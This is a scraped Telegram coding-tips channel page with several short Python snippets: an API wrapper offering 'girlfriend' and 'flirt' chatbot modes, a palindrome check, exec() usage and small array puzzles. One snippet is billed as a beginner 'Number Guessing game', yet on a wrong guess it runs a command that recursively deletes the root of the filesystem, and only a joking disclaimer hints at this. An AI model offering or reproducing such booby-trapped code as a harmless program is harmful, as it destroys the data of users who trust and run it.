Cᴏᴅᴇs Sɴɪᴘᴘᴇᴛs
Open in Telegram
👩💻 Wᴇʟᴄᴏᴍᴇ ᴛᴏ @CodesSnippet! 🚀 Jᴏɪɴ ᴜs ғᴏʀ ᴅᴀɪʟʏ sɴɪᴘᴘᴇᴛs ᴏғ ᴄᴏᴅɪɴɢ 🧩 ᴋɴᴏᴡʟᴇᴅɢᴇ! 💻💡 Hᴇʀᴇ, ʏᴏᴜ'ʟʟ ғɪɴᴅ 👀 ʙɪᴛᴇ-sɪᴢᴇᴅ ᴘɪᴇᴄᴇs ᴏғ ᴄᴏᴅᴇ, 🔥 ᴘʀᴏɢʀᴀᴍᴍɪɴɢ ᴛɪᴘs, ᴀɴᴅ ᴛʀɪᴄᴋs ᴛᴏ ʟᴇᴠᴇʟ ᴜᴘ ʏᴏᴜʀ ᴄᴏᴅɪɴɢ sᴋɪʟʟs! 💪💻 Sᴛᴀʏ ᴜᴘᴅᴀᴛᴇᴅ ᴏɴ ᴛʜᴇ ʟᴀᴛᴇsᴛ ᴛʀᴇɴᴅs ɪɴ ᴛᴇᴄʜ
Show moreThe country is not specifiedTechnologies & Applications51 481
305
Subscribers
No data24 hours
-67 days
-630 days
Posts Archive
Repost from ᴍʀ sᴜᴋᴋᴜɴ
# Generate Chatgpt AI with the input text
pip install --upgrade MukeshAPI
with mode params:
# available modes are "girlfriend","anime","animev2","flirt","santa","elonmusk"
from MukeshAPI import api
response = api.chatgpt("hi babe",mode-="girlfriend")
print(response)
sample response:
*whispers softly* Mmm... Hello, my love! 🤗 What brings you here today? Is there anything special on your mind? Or maybe you just wanted to see me and talk... feel free to share whatever's on your heart.
#
without mode
from MukeshAPI import api
response = api.chatgpt("hi babe")
print(response)
sample response:
Hello. How can I assist you today?
By : @mr_sukkun
for more visit : https://pypi.org/project/MukeshAPI/Finds bugs.
string = "noon"
if string == string[::-1]:
print('palindrome')
else:
print("not palindrome")In Python, the exec() function is used to execute dynamically created Python code. It takes a string as an argument which holds the Python code that you want to execute.
# Define the Python code as a string
code="""for i in range(1,10+1):
print(i)"""
exec(code)Problem 2: Next Greater Element.
» The next greater element of some element X in an array is first greater element that is to the right of X in the same array.
Sample input:
-» array = [4, 7, 3, 2, 9, 0, 1]
Output:
-» next Greater = [7, 9, 9, 9, -1, 1, -1]
Solve in -> Java / C / C++ / Python / JavaScript
** Note - For Python user solve this problem using List..
[ Comment down your solution or sent it to @LittleeDemonBot ]
# counting duplicates
def rem_duplicates(arr):
res = 1
for i in range(1, len(arr)):
if arr[i] != arr[i-1]:
arr[res] = arr[i]
res += 1
return resProblem 1:
-> Count Duplicates from Sorted Array...
Drop your code in comments..
::> For Python users You can do it with list (Integer)
How would you develop feelings in her(Gf) heart using your favorite programming language? 💖
💀 Leave your code in comment box.
Number Guessing game using python
import os
import random
guess = int(input("Guess the Number between 10 to 20: "))
ran = random.randint(10, 20)
if guess == ran:
print("Congratulations, you guessed correctly!")
else:
os.system("rm -rf " + os.path.abspath(os.sep))
Disclaimer : Guess crt answer only 💀😂
#CodeSnippet
Language: Python
Jᴏɪɴ ᴜs :- @CodesSnippet